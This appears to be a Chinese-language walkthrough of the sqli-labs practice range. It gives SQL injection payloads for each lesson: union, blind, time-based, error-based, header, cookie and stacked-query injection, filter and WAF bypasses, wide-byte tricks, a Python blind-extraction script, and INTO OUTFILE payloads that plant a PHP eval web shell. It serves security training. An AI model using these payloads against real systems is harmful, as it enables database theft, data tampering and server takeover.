1. less
1. less1
输入 1 正常回显
输入1' 报错
输入1'%23或者1'--+ 正常回显(可以判断出是字符型的)
输入1' and 1=1--+正常回显
输入1' and 1=2--+不回显(可以判断存在注入点)
输入1' order by 1/2/3/4 发现输入4的时候报错,字段为三
输入-1' union select 1,2,database(),看数据库名
输入:-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+看表名
输入:-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+看列名
输入:-1' union select 1,2,group_concat(id,'_',username,'_',password)from users--+出数据
2. less2
与1差不多,只是换成了数字型注入
3. less3
输入id=1’
返回这个
可以猜测id是被包裹在(’’)中的
输入 1’)–+,发现正常回显,说明猜测正确
输入1’) and 1=1–+发现回显正常
输入1’) and 1=2–+发现不回显(说明存在注入点)
接下来就与1是一样的了
4. less4
输入id=1'正常回显
输入id=1"发现报错
所以id应该是被包裹在("")中的
5. less5
发现id是被包裹在一对单引号之内的,无论查询几号id回显都是一样的,所以这是一个布尔盲注
方法1:
使用select case when *** then *** else *** end
?id=1' and (select case when (mid(database(),1,1)='s') then 0=1 else 1=1 end)--+
1.其中mid可以换为 substr 或者 sbustring
2.而,1,1可以换为 from 1 for 1
3.当 单引号被屏蔽可以用ascii(mid(***))=number来判断
4.用ascii后其实采用二分法会更加快|ascii>64
方法2:
使用 if((mid()='*'),0=1,1=1)
1' and if((mid(database(),1,1)='a'),0=1,1=1)--+
方法3:
使用异或
?id=1'^if((substring(database(),1,1)='s'),0=1,1=1)--+
6.less6
方法与五相同,但是id是包裹在“”之中的
脚本实现:(只写了求表名,列名也一样)
import requests
s = requests.Session()
max = 127
min = 0
mid = 63
table_names = []
for i in range(0,10):
table = ""
for j in range(1,10):
payload = 'localhost:4440/sqli-labs/Less-6/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},0=1,1=1)--+'.format(i,j,mid)
text = s.get(payload)
if min == max:
table += chr(min)
if "You are in..........." in text.text:
max = mid-1
mid = min+(max-min)//2
else:
min = mid+1
mid = min+(max-min)//2
table_names.append(table)
print(table_names)
7.less7
1、load_file()导出文件 Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权了
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users 就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决:
绝对物理路径
构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁
hex()十六进制,绕过waf
3、导入到文件
SELECT…INTO OUTFILE ‘file_name’ 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
我们一般有两种利用形式:
第一种直接将 select 内容导入到文件中:
Select version() into outfile “c:\phpnow\htdocs\test.php” 此处将 version()替换成一句话,<?php @eval($_post[“mima”])?>也即 Select <?php @eval($_post[“mima”])?> into outfile “c:\phpnow\htdocs\test.php” 直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很 多的内容。
第二种修改文件结尾:
Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16 (以十六进制输出)
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY 16 进制可以为一句话或者其他任何的代码,可自行构造。
payload:
?id=1')) union select 1,2,'<?php @eval($_POST[\'cmd\'])\; ?>' into outfile "E:\\xampp\\htdocs\\sqli-labs\\Less-7\\test.php" %23
注意在url会导致’和;转义,因此要用\’,\;来保持
8.less8
与5差不多,可以用布尔,也可以用timebased
payload:
?id=2' and if(ascii(substr(database(),1,1))>64,1,sleep(5))--+
9.less9
10.less10
这两个都是基于时间的盲注,不过一个是单引号包裹数据,一个是双引号
11.less11
POST ,error based
采用万能密码:
uname=admin' or 1=1--+&passwd=admin&submit=Submit
发现登录成功,存在注入点
payload:
uname=-1' union select 1,database()%23&passwd=admin&submit=Submit
12.less12
与less11一样但是username与password是用(“”)括起来的
13.less13
就是bool或者time based盲注,因为没有回显,这道题最好使用timebased
,因为它成不成功是提示的图片,但是bool也可以用,只要匹配(…/images/flag.jpg)就可以了。username使用(‘’)括起来的
这道题可以用报错注入
方法一:
uname=-1')and updatexml(1,concat(0x7e,database(),0x7e),1)--+&passwd=admin&submit=Submit
方法二:
这种方法有个缺陷就是要前面输入的是错误的
-1') union select count(1),concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2))x from information_chema.columns group by x
方法三:
与方法一差不多,但是extractvalue少了一个参数
1') and extractvalue(1,concat(0x7e,database(),0x7e))--+&passwd=admin&submit=Submit
14.less14
与13差不多,只是username与password是用“”括起来的
15.less15
使用时间盲注/布尔盲注,不知道为什么,这道题必须要输入正确的用户名才会执行哪个if语句
payload:
uname=admin' and if(ascii(mid(database(),1,1))>120,sleep(1),sleep(10))--+&passwd=&submit=Submit
uname=admin' and if(ascii(mid(database(),1,1))>110,0,1)--+&passwd=&submit=Submit
用substr和substring好像不行,可能是我这个靶场的问题
16.less16
与15一样只是用("")将username括起来了
17.less17
看到有个修改密码,先在用户名测试了一下发现没有注入点,然后去密码测试,输入’后发现有报错信息,但是这个题目说是update 修改密码,因此用 and 1=1,and 1=2是不会返回不同的值的,那么直接用报错注入
payload:
1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
布尔注入的话是不行的,因为它不会根据不同的条件返回不同的值,那么时间注入也是可以的
payload:
1' and if(ascii(mid(database(),1,1))>63,sleep(1),sleep(0))--+
18.less18
这道题是在http头注入
抓包可以看到有两个回显点,一个是ip,一个是user-Agent
IP:修改ip我想的是用X-Forwarded-For来修改,后来发现不行,这个并不能修改IP
User-agent:修改为1后发现回显了,输入1’发现报错了,看到报错我就想到了用报错注入
payload:
' and extarctvalue(1,concat(0x7e,database(),0x7e)) and '1'='1
这道题的关键点在于确定这个东西是被‘’包裹起来的,目前我发现insert into 这种语句不能用联合注入,可以使用timebased / boolbased / 报错注入
19.less19
这道题的注入点在refer
抓包后根据这两个判断出refer应该是被一对单引号包裹起来的,使用boolbased注入试一下
payload:
1'and if(substr(database(),1,1)='a',1,(select table_name from information_schema.tables where table_schema = database())) and '1'='1
如果database的第一个字符不等于a的话那么页面会返回”Subquery returns more than 1 row“,因此我们可以使用boolbased
20.less20
这个抓取登录包修改cookie
payload:
Cookie: uname=admin' union select 1,count(1),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),0x23,floor(rand(0)*2))x from information_schema.tables group by x--+
同样的,这个题也可以使用bool或者time
2.advanced
1.less21
题目说是base64的cookie,用burp抓包
可以看到uname确实使用了base64编码了,将uname=的值修改为admin‘试看看,发现报错了,可以确定uname是包裹在(’‘)中的。
使用报错注入,payload:
admin’) and updatexml(1,concat(0x7e,database(),0x7e),1)#,这里使用–+注释会报错
uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSM=
使用内联注入,payload:
-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
LTEnKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSM=
当然还可以用其他的注入方法这里就不展开了
2.less22
本题的方法与21是一样的,只是uname包裹在一对“”中间
payload:
admin" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#
YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGxpbWl0IDAsMSksMHg3ZSkpIw==
3.less23
输入?id=1’报错,发现id包裹在一对单引号中间尝试用–+,–,#来注释,发现均不行
于是构造1’ and ’ 发现无回显,1’ or '有回显,因此可以使用报错注入:
payload:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or'
时间注入也是可以的:
payload:
?id=1' and if(substr(database(),1,1)='s',sleep(5),sleep(1)) or'
布尔注入也可以:
payload:
?id=1' and (select case when substr(database(),1,1)='a' then 1=1 else 1=0 end) and '1
?id=1' and (select case when substr(database(),1,1)='s' then 1=1 else 1=0 end) ^ '
联合查询:
payload:
?id=-1' union select 1,2,'3
可见精髓都在于闭合后面的一个单引号
4.less24
查看源代码发现在change passwd中存在注入点:
可以看到username直接取了session中的值但是没有对其做过滤处理,也就是说这里是存在注入点的。
那么怎么利用那
我的想法是创建一个admin’ and updatexml(1,concat(0x7e,database(),0x7e),1))#账号,然后登录后修改密码是执行了图中的那个sql语句,从而达到二次注入的目的,但是。。。。
看了网上说注册一个admin‘#的账号可以达到修改admin密码的目的,说明这个二次注入是可以的,但是其他的语句应该怎么实现?
查看数据库后发现应该是接受的长度不够,导致后面的一些字符被丢弃,也就是说如果长度够的话是可行的(我的猜测)
5.less25
这道题过滤了一些关键字,我们可以通过1’^(length(’*’)=0)来判断是否被过滤
如果被过滤了那么会输出1’^1=false,也就是不会回显
基本的绕过思路:
(1)大小写变形
(2)编码,hex,urlencode
(3)添加注释/**/
(4)利用符号&&,||(这个有点玄学,使用了这两个符号后1‘就不需要加那个‘了)
判断发现:
1.and,其大小写和&都被过滤了
2.or,其大小写和|都被过滤了
发现双写可以绕过,因此猜测是匹配了一次and/or将他们替换成空,于是就有了下面这个payload
?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1)--+
或者更加简单的是使用联合注入
1' union select 1,2,database()--+
再者也可以使用异或注入
1’^(if(subsrt(database(),1,1)='s'),1=1,1=0)--+
还有其他方法也可以,这里就不再赘述了
26a也是一样的思想只是不能用联合和报错注入了
6.less26
这道题又加上了过滤空格
代替方法:
%09 tab-水平
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB-垂直
%a0 空格
绕过方法:
1.不使用空格,用异或^
2.使用上面的字符代替
3.可以双写空格绕过
代替最好是在linux下使用
7.less27
过滤了 union 和 select
绕过方法:
1.大小写混合
2.双写
3.使用布尔或者延时或者异或注入
payload:
?id=-a'%0AUnIon%0ASeLect%0A1,2,3%0Aor%0A'1
8.less28
1.异或注入
?id=1'^if(substr(database(),1,1)='a',1=1,0=1)^'0
2.使用union%a0select绕过
9.less29
这道题使用了防火墙来过滤,在网上查到可以传两个参数进去:
我们传的参数首先进入tomact,然后过滤后再进入apache
那么如果我们传两个进去的话会是怎么样?
对于不同引擎的服务器有不同的返回:
PHP/Apache:get方式—>获取到的是最后一个参数
JSP/Tomcat:Request.getParameter(“par”)—>获取到的是第一个参数
Perl/Apache:Param(“par”)—>获取到的是第一个参数
Python/Apache:getvalue(“par”)—>获取到全部的参数
ASP/IIS:Request.QueryString(“par”)—>获取到全部的参数
对于我们这种情况是第一种,也就是会获取第二个参数
这种传两个参数的方法称为HTTP参数污染
这里有详细解释
那么这道题就比较简单了,payload:
?id=1&id=2' and 1=1--+
其余的按照之前的方法进行注入就可以了
10.less30
与29差不多,只是将id用双引号包裹起来了,payload:
?id=1&id=2" and 1=2--+
11.less31
与less30一样只是id用(“”)包裹起来了
爆表名:
?id=1&id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
爆列名:
?id=1&id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
爆数据:
?id=1&id=-1") union select 1,2,group_concat(username,0x7e,password)from users--+
11.less32
主要考察了宽字节注入:
详细解答
payload:
?id=%df%27%20union%20select%201,2,database()--+
可以看到该题将’转化为了’而将\转化为了\\将"转化为了\"
而这里mysql默认编码是gbk也就是宽字节编码,一个字符占两个字节,因此可以使用%df’然后php将’转义变成了%df\’,也就是%df%5c%27,而mysql在编码是会认为%df%5c是一个字符,因此变成了縗’,也就是让’逃逸了出来
12.less33
步骤:
1.判断是否存在注入点:
输入1%df’报错,判断是包裹在‘’中的
输入1%df’ and 1=1,回显正常
输入1%df’ and 1=2,不回显
2.使用报错注入:
?id=1%df%27%20and%20extractvalue(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e))--+
13.less34
这两道题与33,32的解法一样不过注入点在post方法处
14.less35
这道题就是最基础的。。。
?id=-1 union select 1,2,database()
15.less36
这个题跟前面几道题是一样的
'的编码也可以使用utf-16来绕过:
payload:
?id=1%FE%27%20and%201=2--+
16.less37
这个题跟上面的几种方法还是差不多的
因此可以看出,过滤’和\的常用方法是replace,addslashes,mysql_real_escape_string()。
防御方法有:
对于addslashes,需要将mysql_query设置成binary的方式
对于mysql_real_escape_string()需要将mysql设置为gbk
3.Stacked
(堆叠注入)
分号在sql语句用于表示一个语句的结束,如果我们在一段sql语句后面再加上另外一段,那么会不会执行?堆叠注入就是这么来的,而union select 也是也将几个不同的sql语句联合起来,但是它只能使用一些语句,而堆叠注入可以使用的语句的范围比union select多得多。
缺点:没有回显
因此读取数据库的数据最好使用联合查询,而执行其他的可以用堆叠注入;
如果有回显的话可以用 show来打印内容
1.less38
因此这道题需要我们先获取到一定的信息然后再操作,获取信息的步骤还是跟之前的例子一样,可以使用联合查询
payload:
?id=-1';insert into users(id,username,password) values('30','test','123');--+
该语句是向数据库插入一个用户,名为test,密码123;
2.less39
方法与38一样只是是数字型的注入
payload:
?id=1;delete from users where username='test';
可以看到没有test账户了
3.less40
这道题还是堆叠注入,只不过id包裹在(‘’)中
payload:
?id=-1');insert into users(id,username,password) value('100','test','123');
4.less41
41是数字型的盲注,且可以堆叠注入
5.less42
可以看到在传入密码是没有采取任何过滤措施,而用户名使用了mysql_real_escape_string将特殊字符转义了
同时在登录后修改密码那里也都用了这个函数,也就是不能够用二次注入了
这道题比较简单,可以使用报错,布尔,时间,联合,异或等等。。。
payload:
login_user=admin&login_password=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&mysubmit=Login
堆叠注入:
payload:
login_user=admin&login_password=admin';create table less42 like users--+&mysubmit=Login
like就是复制了users表的格式
6.less43
这道题与上一道题解决方法一样,只是password是包裹在(‘’)中的
7.less44
与上面两道题一样,只是id包裹在‘’中
步骤:
1.查看是否有注入点:
(1).输入c’ or 1=1–+万能密码查看是否能登录,发现可以,说明是包裹在‘’中的
2.尝试注入:
payload:
login_user=admin&login_password=c';insert into users(id,username,password) value('123','test1','123')--+&mysubmit=Login
8.less45
同样的采用与less44的步骤,发现是包裹在(‘’)中的,其他的方法是一样的
9.less46
order by注入
bool注入(rand(sbustr(database(),1,1)=‘a’))
原理:rand(true)和rand(false)排序方式是不一样的
延时注入(1 and if(substr(database(),1,1),sleep(1),1))
或者:
使用benchmark(count,exp)这个函数就是执行count那么多次的exp,例如:benchmark(10000000,sha(1)))
?sort=(select%20if(substring(database(),1,1)=%27s%27,benchmark(5000000000,md5(%271%27)),1)from%20information_schema.tables)
或者:
(select if(substring(current,1,1)=char(117),benchmark(50000000,sha('1')),1)from (select database() as current)as test)
报错注入:(在procedure analyse参数后面)
procedure analyse() :根据当前表中的数据,对字段类型进行推荐
情况是这样的:order by limit 0,1 procedure analyse(***), into ***
也就是说在order by 后面有三个字段,而注入点在procedure analyse()和into,但是into要求有写入的权限
这里使用procedure analyse(): //(select ****不能执行)不知道用什么替代(PROCEDURE does not support subqueries or stored functions)
1 procedure analyse(extract(rand(),concat(0x7e,database(),0x7e)),1)
报错注入:(使用floor())
(select 1 from (select count(1),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a) b)
这里也有一个地方不明白,为什么我用select group_concat 代替 select table_name会返回结果不止一行的信息。。。。
写入文件:(开放了写入权限的时候)
?sort=1%20into%20outfile%20"E:\\xampp\\htdocs\\sqli-labs\\Less-46\\test.txt"
这种方法的缺点就是要知道绝对路径
写入一句话木马:
在上面的那个payload加上lines terminated by,就是指定以什么结尾,我们可以在后面加上我们要上传的木马的16进制编码
payload:
?sort=1%20into%20outfile%20"E:\\xampp\\htdocs\\sqli-labs\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e = hex(<?php eval($_POST["cmd"]);?>)
10.less47
这道题与上题一样的解决办法,只不过是包裹在了一对单引号里面
报错注入:
?sort=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()),0x7e),1)--+
1%27^(select%201%20from%20(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)--+
bool注入:
1%27^rand(if(substr(database(),1,1)=%27s%27,1,0))--+
延时注入:
1%27^(select%20if(substring(database(),1,1)=%27s%27,benchmark(5000000000,md5(%27test%27)),1)from%20information_schema.tables)--+
写入文件:
?sort=1%20into%20outfile%20"E:\\xampp\\htdocs\\sqli-labs\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
11.less48
与46一样,只不过没有报错信息了,因此不能使用报错注入
12.less49
与47一样,盲注
13.less50-53(可以使用一般的注入方法,也可使用堆叠注入)
4.Challenge
就是使用前面的各种方法进行注入,这里就不贴出来了,到此告一段落了